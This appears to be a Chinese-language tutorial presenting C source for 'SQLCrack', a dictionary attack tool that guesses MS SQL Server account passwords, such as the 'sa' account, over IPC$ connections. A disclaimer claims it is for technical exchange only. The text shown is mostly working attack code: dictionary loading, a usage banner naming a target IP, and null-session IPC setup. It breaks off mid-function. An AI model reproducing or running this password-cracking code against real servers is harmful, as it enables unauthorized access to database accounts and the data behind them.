此程序只作技術交流之用,如用於不法用途,作者不負任何責任!!
這篇文章的重點是如何探測MS SQL Server賬號的密碼,下面以一個實例來說明探測密碼的全過程。
//程序所用到的頭文件
//定義全局變量
char dict[20000][40],//准備探測的密碼
UserName[40],//用戶名
target[40],//目標服務器
passwd[40];//已經探測出來的正確密碼
int total=0;//字典裡面單詞數量
BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
//
//函數:usage
//功能:顯示程序幫助信息
//
void usage()
{
printf("
Power by analyzer〈
[email protected]〉"
"
http://www.infocn.com"
"
Usage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
"
Example:SQLCrack 192.168.0.1 sa c:\pwd.dic 50
");
return;
}
//
//函數:ReadDic
//功能:從字典文件裡面讀取數據,傳遞給全局變量dict,准備探測密碼
//說明:函數運行失敗返回值1,成功返回0
//
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];
//打開字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("
Can't open %s",dic);
return 1;
}
while(!feof(fp))
{
//讀取數據到臨時變量
if(fgets(tmp,40,fp)==NULL)
break;
//這裡別忘了把從文件裡面讀出來的最後一位數據[換行符號]去掉,不然就探測不出來密碼了
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
//因為dict定義為dict[20000][40],所以這裡如果字典裡面的單詞超出20000就退出循環
//不然就會溢出啦.可以自行調准
if(total〉=20000)
break;
}
fclose(fp);
return 0;
}
//
//函數:ConnIPC
//功能:建立IPC連接
//說明:連接失敗返回值1,成功返回值0
//
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWord flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\",
LN[5]="";
strcat(RN,RemoteName);
strcat(RN,"\ipc$");
//填充數據結構
nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函數:DelIPC
//功能:斷開IPC Session
//說明:成功返回值0,否則返回1
//
int DelIPC(char *RemoteName)
{
DWord ret;
TCHAR